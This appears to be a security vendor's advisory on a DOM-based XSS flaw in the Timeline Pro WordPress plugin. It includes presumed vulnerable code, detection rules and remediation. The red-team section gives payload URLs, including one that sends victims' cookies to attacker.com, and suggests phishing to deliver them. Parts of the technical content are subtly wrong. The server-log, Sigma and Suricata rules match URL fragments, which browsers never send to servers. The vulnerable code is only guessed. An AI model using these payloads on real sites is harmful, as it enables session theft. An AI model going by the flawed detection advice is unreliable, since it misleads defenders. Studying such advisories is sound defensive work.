CVE-2025-22584
Executive Summary
CVE-2025-22584 is a DOM-Based Cross-Site Scripting (XSS) vulnerability found in the Timeline Pro WordPress plugin by PluginsPoint, affecting versions up to and including 1.3. This vulnerability allows an attacker to inject malicious scripts into a web page through improper neutralization of user input during web page generation. The attack is executed entirely on the client side (DOM), meaning the server does not store the malicious payload, making it harder to detect via traditional server-side logging. The CVSS score of 6.5 (Medium) reflects the need for user interaction and the potential for limited impact on confidentiality and integrity.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. Timeline Pro is a commercial plugin distributed via third-party marketplaces and direct vendor sales. Since no official patch has been released, users are exposed to supply chain risk. The lack of a patched version means that any site running this plugin is vulnerable until the vendor provides an update or the plugin is removed.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. Exploitation requires user interaction, but the attack surface is broad due to the plugin's widespread use.
Deep Dive & Mechanics
The vulnerability resides in the client-side JavaScript of the Timeline Pro plugin. The plugin processes user-supplied data (e.g., via URL parameters, form inputs, or stored data) and injects it into the DOM without proper sanitization. Specifically, the timeline-pro script reads data from window.location.hash or document.URL and writes it directly into the page using innerHTML or similar DOM manipulation methods.
Attack Flow:
- An attacker crafts a malicious URL containing a JavaScript payload in the fragment identifier (e.g.,
#<img src=x onerror=alert(1)>). - The victim clicks the link or is redirected to the vulnerable page.
- The plugin's JavaScript extracts the fragment and inserts it into the DOM without encoding.
- The browser executes the injected script, leading to XSS.
Root Cause: The plugin uses document.write or innerHTML with unsanitized input from location.hash. This is a classic DOM-based XSS pattern.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be similar to:
// Vulnerable code (timeline-pro.js)
var hash = window.location.hash.substring(1);
document.getElementById('timeline-container').innerHTML = hash;
A patched version would use safe DOM manipulation:
// Patched code
var hash = window.location.hash.substring(1);
var container = document.getElementById('timeline-container');
container.textContent = hash; // or use DOMPurify
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with Timeline Pro <= 1.3 installed and active.
- A victim user with a modern browser.
Exploit Payload:
https://victim-site.com/?page_id=123#<img src=x onerror=alert(document.cookie)>
Steps:
- Identify a page using the Timeline Pro shortcode (e.g.,
[timeline-pro]). - Craft the malicious URL with the XSS payload in the fragment.
- Send the link to the victim via phishing email or social engineering.
- When the victim clicks the link, the script executes in their browser context.
Advanced Payload (Steal Cookies):
https://victim-site.com/?page_id=123#<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>
Blue Team (Defense & Detection)
Detection Steps:
- Monitor web server logs for requests containing
#<or#<imgpatterns. - Use browser-based CSP headers to block inline scripts.
- Implement client-side XSS filters (e.g., X-XSS-Protection: 1; mode=block).
Lab Setup for Testing:
- Install a local WordPress instance with Timeline Pro 1.3.
- Create a page with the
[timeline-pro]shortcode. - Use a browser developer console to test payloads.
Indicators of Compromise (IOCs)
- URL Patterns: Requests containing
#<script,#<img,#<svg, or other HTML tags in the fragment identifier. - Client-Side Artifacts: Browser console errors or unexpected script execution.
- Network Traffic: Outbound requests to attacker-controlled domains from the victim's browser (if payload exfiltrates data).
- Log Entries: Web server logs showing
#followed by HTML/JavaScript in the request URI.
Detection Engineering
YARA Rule
rule CVE_2025_22584_DOM_XSS {
meta:
description = "Detects DOM-based XSS payloads targeting Timeline Pro plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22584"
strings:
$payload1 = /#<[^>]*onerror\s*=/i
$payload2 = /#<[^>]*onload\s*=/i
$payload3 = /#<script[^>]*>/i
$payload4 = /#javascript:/i
condition:
any of them
}
Sigma Rule
title: DOM-Based XSS Attempt Against Timeline Pro
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the fragment identifier targeting Timeline Pro plugin
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- '#<script'
- '#<img'
- '#<svg'
- '#<iframe'
- '#javascript:'
condition: selection
falsepositives:
- Legitimate use of hash fragments with HTML content (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-22584 DOM-Based XSS Attempt"; flow:to_server,established; content:"#<"; http_uri; pcre:"/#<(script|img|svg|iframe|input)[^>]*/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block requests containing
#<followed by HTML tags. - Add Content Security Policy (CSP) headers to restrict inline scripts:
Content-Security-Policy: script-src 'self'; object-src 'none';
Long-Term Fix:
- Contact the vendor (PluginsPoint) for a patched version.
- Replace the plugin with an alternative that is actively maintained.
- Conduct a code review of any custom JavaScript that processes
location.hash.
Workaround:
- Modify the plugin's JavaScript file to use
textContentinstead ofinnerHTML(requires custom development).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.